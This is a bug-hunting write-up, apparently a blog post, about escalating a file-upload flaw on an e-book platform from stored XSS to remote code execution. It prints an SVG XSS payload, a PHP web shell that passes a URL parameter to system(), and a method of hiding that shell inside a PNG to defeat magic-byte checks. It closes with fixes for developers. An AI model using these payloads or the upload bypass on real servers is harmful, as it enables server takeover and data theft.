From Comments to Command Execution(RCE)

Moaaz Afifi
6 min read1 day ago

--

بسم الله، ربّ يَسّر وأعن وامنن بالإخلاص والتوفيق والقبول.

What’s better than curling up with a good book? For me, it’s curling up with a security challenge, and this time, I found myself testing an e-book platform designed for reading and listening to books. What started as a routine exploration of features turned into a journey through XSS payloads, file upload bypasses, and eventually Remote Code Execution (RCE). Let me walk you through the story.

Exploring the Platform:

The platform was polished and packed with functionality, including user accounts, a rich library, and even the ability to leave comments under specific passagesm, but these files needed approval from the admin before being published. Naturally, my first instinct was to test how secure it all was.

I started my investigation by analyzing the platform’s technology stack using Wappalyzer, which revealed that the platform was built with:

  • Server: Linux (implied by the use of Imunify360, NGINX, and PHP).

This information gave me insight into the underlying server architecture, but I needed to dig deeper to uncover potential vulnerabilities.

The Comments Feature: My Entry Point

The platform allowed users to leave comments under specific text, even attaching images for added flair. When a comment was submitted, the system would:

  1. Rename the uploaded file.
  2. Store it on the server under the /download/ directory.
  3. Provide the user with a path to the file.
  4. waiting admin approval

For example, if I uploaded an image named cookie.jpg, it would be saved as:

https://site.com/download/tdbr/u103496_94Z66kED0m_1734684836.jpg

This hinted at something interesting: files were stored directly on the server under the main domain. This could open doors to further exploitation.

Phase 1: The Stored XSS Experiment

I started small. Using the comments feature, I uploaded a simple SVG file containing an XSS payload:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>

After submitting the comment, the file was saved with a new name but kept its SVG content. Visiting the link triggered my XSS payload:

https://site.com/download/tdbr/u103496_94Z66kED0m_1734684836.svg

Success! I had a Stored XSS vulnerability🎉.

Phase 2: Rethinking the Attack Surface

Scenario: XSS was a success, but I wanted more. The platform ran on Linux and had direct file storage. so could I use this to gain Remote Code Execution (RCE)?

Execution: I created a simple PHP shell (shell.php) that would allow me to execute system commands on the server via a URL parameter, like this:

<?php
echo "=================================<br>";
system($_GET['moaaz']);
echo "<br>=================================";
?>

I attempted to upload this PHP file through the comment system. However, the server rejected it with a 403 Forbidden error. The platform only accepted image files — PHP files were explicitly blocked.

hhmmm, lest’s think again!

Phase 3: Understanding the File Validation

Scenario: What was preventing the upload of PHP files? Was it simply the file extension that the server checked? I renamed the malicious xss file from cookie.svg to cookie.php and tried again.

Execution: To my surprise, the server accepted the renamed file and stored it without issue. When I visited the new URL for the image, my XSS payload triggered again, confirming that the file had been uploaded and executed. So, what was happening?

File Signature Explained: The server was validating files based on their File Signature (also known as magic bytes), not their extensions.

A File Signature is a unique identifier embedded in the first few bytes of a file. It tells the server what type of file it really is — regardless of the file extension. For instance, an image like PNG will always start with a specific sequence of bytes, called a “magic number,” that identifies it as a valid image. In this case, despite my file being named .php, the server still recognized it as an image based on its content.

ex of png file Signature using VS code.

Phase 4: Uploading a PHP Shell Inside an Image

Scenario: Having understood how the server trusted file signatures over extensions, I now wanted to upload an actual PHP shell. The key was embedding my PHP code inside a valid image file, bypassing the server’s file validation.

Execution: I took a PNG image and appended my PHP shell code to the end of the file’s binary data. The content would look like this:

‰PNG
... (PNG headers) ...����o��5��1$8�B )P\J �o���[q "���f����w��;oᄐ�
�̾��w�3s�Bh4��b�ۥ�
<?php
echo "=================================<br>";
system($_GET['cmd']);
echo "<br>=================================";
?>
����o��5��1$8�B )P\J �o���[q "���f����w��;oᄐ�
�̾��w�3s�Bh4��b�ۥ�����o��5��1$8�B )P\J �o���[q "���f����w��;oᄐ�
�̾��w�3s�Bh4��b�ۥ�
����o��5��1$8�B )P\J �o���[q "���f����w��;oᄐ�
�̾��w�3s�Bh4��b�ۥ�

I renamed the file to shell.php and uploaded it through the comment form, pretending it was an image. The server, trusting the file signature, accepted it without question.

When I visited the file at this new URL:

https://site.com/download/tdbr/u103496_bkDHfVCC4u_1734686913.php

I appended the cmd parameter and executed a simple command:

https://site.com/download/tdbr/u103496_bkDHfVCC4u_1734686913.php?moaaz=ls

Boom! I had Remote Code Execution. The server executed the command, and I was able to list files on the server.🎇

Achieving RCE on a server is one of the most critical vulnerabilities in cybersecurity. Here’s why:

  1. Full Control: An attacker can execute arbitrary commands, potentially compromising the entire server.
  2. Data Breach: Sensitive user data, including personal information and payment details, could be exposed.
  3. Pivoting: The server could be used as a launchpad for attacks on other systems.

In this case, the combination of improper file validation and direct file storage created a perfect storm for exploitation.

Lessons Learned and Recommendations

For developers:

  1. Validate File Types Thoroughly:
  • Check file signatures AND extensions.
  • Restrict allowed file types to safe formats (e.g., JPEG, PNG).

2. Separate Uploaded Files from Core Server Paths:

  • Store uploaded files in a separate domain or subdomain (e.g., uploads.site.com).
  • Avoid saving files directly under the primary domain.

3. Harden Server Configurations:

  • Use tools like Imunify360 to enforce stricter validation rules.
  • Restrict executable file types on upload directories.

Final Thoughts

This journey started with a simple exploration of an e-book platform and ended with a full-fledged RCE . It serves as a reminder that even seemingly small misconfigurations can lead to catastrophic vulnerabilities.

To my fellow security enthusiasts: never stop testing, never stop learning, and always “اسعتن بالله ولا تعجز”. As for developers — stay vigilant, because your users might be smarter than you think. :”)

Happy hacking! 🎯

اللهم علمنا ما ينفعنا وانفعنا بما علمتنا، وصلى الله على سيدنا محمد وآله وصحبه وسلم.

Linkedin: imooaaz

X : imooaaz

--

--

Moaaz Afifi
Moaaz Afifi

Written by Moaaz Afifi

Offensive Security Researcher | Bug Hunter

No responses yet